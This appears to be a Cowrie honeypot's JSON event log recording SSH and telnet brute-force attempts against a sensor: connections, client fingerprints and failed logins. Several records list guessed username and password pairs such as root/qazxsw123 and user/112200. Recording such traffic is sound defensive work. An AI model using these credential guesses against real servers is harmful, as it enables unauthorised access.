mac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:56.815238Z","src_ip":"43.156.97.164","session":"0a3453bfb27b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fai","message":"login attempt [root/fai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:57.850906Z","src_ip":"43.156.97.164","session":"0a3453bfb27b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:59.112570Z","src_ip":"43.156.97.164","session":"0a3453bfb27b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":40562,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e5bd9fd0b3f","protocol":"ssh","message":"New connection: 2.57.121.25:40562 (10.17.0.5:22) [session: 3e5bd9fd0b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:05.337409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:05.344776Z","src_ip":"2.57.121.25","session":"3e5bd9fd0b3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:05.454390Z","src_ip":"2.57.121.25","session":"3e5bd9fd0b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"112200","message":"login attempt [user/112200] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:05.944905Z","src_ip":"2.57.121.25","session":"3e5bd9fd0b3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":59986,"dst_ip":"159.203.135.109","dst_port":22,"session":"e72f67d7217f","protocol":"ssh","message":"New connection: 109.237.96.109:59986 (159.203.135.109:22) [session: e72f67d7217f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:06.466614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:06.485992Z","src_ip":"109.237.96.109","session":"e72f67d7217f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:06.592046Z","src_ip":"109.237.96.109","session":"e72f67d7217f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxsw123","message":"login attempt [root/qazxsw123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:06.892824Z","src_ip":"109.237.96.109","session":"e72f67d7217f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111666","message":"login attempt [user/111666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:07.056786Z","src_ip":"2.57.121.25","session":"3e5bd9fd0b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:07.990689Z","src_ip":"109.237.96.109","session":"e72f67d7217f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111187","message":"login attempt [user/111187] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:08.164444Z","src_ip":"2.57.121.25","session":"3e5bd9fd0b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111183","message":"login attempt [user/111183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:09.279800Z","src_ip":"2.57.121.25","session":"3e5bd9fd0b3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":50980,"dst_ip":"10.17.0.5","dst_port":22,"session":"da629fb7ac79","protocol":"ssh","message":"New connection: 186.219.184.142:50980 (10.17.0.5:22) [session: da629fb7ac79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:10.219083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:10.223970Z","src_ip":"186.219.184.142","session":"da629fb7ac79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:10.366174Z","src_ip":"186.219.184.142","session":"da629fb7ac79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11111975","message":"login attempt [user/11111975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:10.389570Z","src_ip":"2.57.121.25","session":"3e5bd9fd0b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"thomas","password":"123456","message":"login attempt [thomas/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:10.958928Z","src_ip":"186.219.184.142","session":"da629fb7ac79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:11.504778Z","src_ip":"2.57.121.25","session":"3e5bd9fd0b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:12.102948Z","src_ip":"186.219.184.142","session":"da629fb7ac79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55064,"dst_ip":"10.17.0.5","dst_port":23,"session":"c234b4e0bd14","protocol":"telnet","message":"New connection: 192.119.13.58:55064 (10.17.0.5:23) [session: c234b4e0bd14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:12.117003Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44962,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcda0c7fbc64","protocol":"telnet","message":"New connection: 192.119.13.58:44962 (10.17.0.5:23) [session: fcda0c7fbc64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:16.696060Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59102,"dst_ip":"10.17.0.5","dst_port":23,"session":"964d8b40605f","protocol":"telnet","message":"New connection: 192.119.13.58:59102 (10.17.0.5:23) [session: 964d8b40605f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:21.316756Z"}
{"eventid":"cowrie.session.closed","duration":37.80323338508606,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:23.061389Z","src_ip":"192.119.13.58","session":"033b10e8bc41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36436,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c86560c34ad","protocol":"telnet","message":"New connection: 192.119.13.58:36436 (10.17.0.5:23) [session: 1c86560c34ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:23.129360Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":54874,"dst_ip":"10.17.0.5","dst_port":22,"session":"13c016824abb","protocol":"ssh","message":"New connection: 103.77.242.62:54874 (10.17.0.5:22) [session: 13c016824abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:28.253071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:28.261824Z","src_ip":"103.77.242.62","session":"13c016824abb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:28.503441Z","src_ip":"103.77.242.62","session":"13c016824abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kitten","message":"login attempt [root/kitten] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:29.237279Z","src_ip":"103.77.242.62","session":"13c016824abb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:30.481807Z","src_ip":"103.77.242.62","session":"13c016824abb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":41250,"dst_ip":"159.203.135.109","dst_port":22,"session":"01194d407cfc","protocol":"ssh","message":"New connection: 41.242.115.83:41250 (159.203.135.109:22) [session: 01194d407cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:32.191965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:32.197662Z","src_ip":"41.242.115.83","session":"01194d407cfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:32.402340Z","src_ip":"41.242.115.83","session":"01194d407cfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.21786594390869,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:32.472934Z","src_ip":"192.119.13.58","session":"600754e47ce8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"nur","message":"login attempt [root/nur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:33.250929Z","src_ip":"41.242.115.83","session":"01194d407cfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:34.460312Z","src_ip":"41.242.115.83","session":"01194d407cfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52360,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b18df7ced48","protocol":"telnet","message":"New connection: 192.119.13.58:52360 (10.17.0.5:23) [session: 3b18df7ced48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:36.302800Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40682,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee729337167d","protocol":"telnet","message":"New connection: 192.119.13.58:40682 (10.17.0.5:23) [session: ee729337167d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:40.876743Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":49616,"dst_ip":"10.17.0.5","dst_port":22,"session":"6668ffed0d6a","protocol":"ssh","message":"New connection: 91.4.14.170:49616 (10.17.0.5:22) [session: 6668ffed0d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:40.971656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:40.977180Z","src_ip":"91.4.14.170","session":"6668ffed0d6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:41.090826Z","src_ip":"91.4.14.170","session":"6668ffed0d6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43072,"dst_ip":"10.17.0.5","dst_port":23,"session":"fac027445c45","protocol":"telnet","message":"New connection: 192.119.13.58:43072 (10.17.0.5:23) [session: fac027445c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:41.491729Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456a.","message":"login attempt [root/123456a.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:41.522526Z","src_ip":"91.4.14.170","session":"6668ffed0d6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45218,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b83998ab8ce","protocol":"telnet","message":"New connection: 192.119.13.58:45218 (10.17.0.5:23) [session: 1b83998ab8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:42.046518Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:42.673530Z","src_ip":"91.4.14.170","session":"6668ffed0d6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.87633752822876,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:46.316789Z","src_ip":"192.119.13.58","session":"1be1577c4202","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.81129312515259,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:51.507229Z","src_ip":"192.119.13.58","session":"fcda0c7fbc64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55270,"dst_ip":"10.17.0.5","dst_port":23,"session":"98bd6a632d68","protocol":"telnet","message":"New connection: 192.119.13.58:55270 (10.17.0.5:23) [session: 98bd6a632d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:52.916946Z"}
{"eventid":"cowrie.session.closed","duration":44.69752836227417,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:56.814415Z","src_ip":"192.119.13.58","session":"c234b4e0bd14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.6687126159668,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:57.797982Z","src_ip":"192.119.13.58","session":"1c86560c34ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46750,"dst_ip":"10.17.0.5","dst_port":23,"session":"408ab7858127","protocol":"telnet","message":"New connection: 192.119.13.58:46750 (10.17.0.5:23) [session: 408ab7858127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:58.209303Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49656,"dst_ip":"10.17.0.5","dst_port":23,"session":"7961f4c32b9c","protocol":"telnet","message":"New connection: 192.119.13.58:49656 (10.17.0.5:23) [session: 7961f4c32b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:25:58.980412Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35450,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8806df45c30","protocol":"telnet","message":"New connection: 192.119.13.58:35450 (10.17.0.5:23) [session: f8806df45c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:26:02.945003Z"}
